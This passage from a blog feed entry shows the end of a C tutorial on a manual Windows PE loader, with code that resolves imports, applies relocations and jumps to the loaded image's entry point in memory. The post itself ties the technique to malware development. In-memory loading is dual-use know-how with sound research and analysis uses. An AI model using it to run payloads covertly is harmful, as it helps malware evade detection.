class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Imports resolved.\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">ApplyRelocations</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress, DWORD_PTR delta)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (delta == <span class="number">0</span>) <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line">    IMAGE_BASE_RELOCATION* reloc = (IMAGE_BASE_RELOCATION*)((<span class="type">char</span>*)baseAddress +</span><br><span class="line">        ntHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (reloc-&gt;VirtualAddress) &#123;</span><br><span class="line">        WORD* relocItem = (WORD*)((<span class="type">char</span>*)reloc + <span class="keyword">sizeof</span>(IMAGE_BASE_RELOCATION));</span><br><span class="line">        <span class="type">int</span> numRelocs = (reloc-&gt;SizeOfBlock - <span class="keyword">sizeof</span>(IMAGE_BASE_RELOCATION)) / <span class="keyword">sizeof</span>(WORD);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; numRelocs; i++) &#123;</span><br><span class="line">            <span class="keyword">if</span> ((relocItem[i] &gt;&gt; <span class="number">12</span>) == IMAGE_REL_BASED_HIGHLOW) &#123;</span><br><span class="line">                DWORD* patchAddr = (DWORD*)((<span class="type">char</span>*)baseAddress + reloc-&gt;VirtualAddress + (relocItem[i] &amp; <span class="number">0xFFF</span>));</span><br><span class="line">                *patchAddr += (DWORD)delta;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        reloc = (IMAGE_BASE_RELOCATION*)((<span class="type">char</span>*)reloc + reloc-&gt;SizeOfBlock);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Relocations applied.\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">ExecutePE</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress)</span> &#123;</span><br><span class="line">    <span class="comment">// Get the entry point address and call it</span></span><br><span class="line">    <span class="type">void</span> (*entryPoint)() = (<span class="type">void</span> (*)())((<span class="type">char</span>*)baseAddress + ntHeaders-&gt;OptionalHeader.AddressOfEntryPoint);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Executing PE at entry point: 0x%p\n&quot;</span>, entryPoint);</span><br><span class="line">    entryPoint();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><hr><h3 id="Important-Note"><a href="#Important-Note" class="headerlink" title="Important Note"></a><strong>Important Note</strong></h3><p>There is no PE loader that can load all PEs, the most logical way is to write a custom loader for an EXE (in malware development), for example, the above code cannot load Notepad.exe, but it can load clac.exe, the reason for this The difference is the type of PE contents.</p><h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h2><p>This simple PE Loader demonstrates the basic steps required to load and execute a PE file in Windows. In real-world scenarios, more advanced PE Loaders might include additional features like manipulating internal PE structures, more complex header analysis, and various security mechanisms. These types of tools can be used for security testing, malware analysis, or custom software loading and execution.</p>]]>
    </content>
    <id>https://blog.rmxzy.com/2024/09/01/PE-Loader/</id>
    <link href="https://blog.rmxzy.com/2024/09/01/PE-Loader/"/>
    <published>2024-09-01T22:00:00.000Z</published>
    <summary>A walkthrough by Ilia Mirzaali (rmxzy) on writing a Windows PE Loader in C — parsing PE headers, mapping sections, resolving imports, applying relocations, and executing the entry point in-memory.</summary>
    <title>Coding a PE Loader in C</title>
    <updated>2026-05-07T22:09:06.996Z</updated>
  </entry>
</feed>
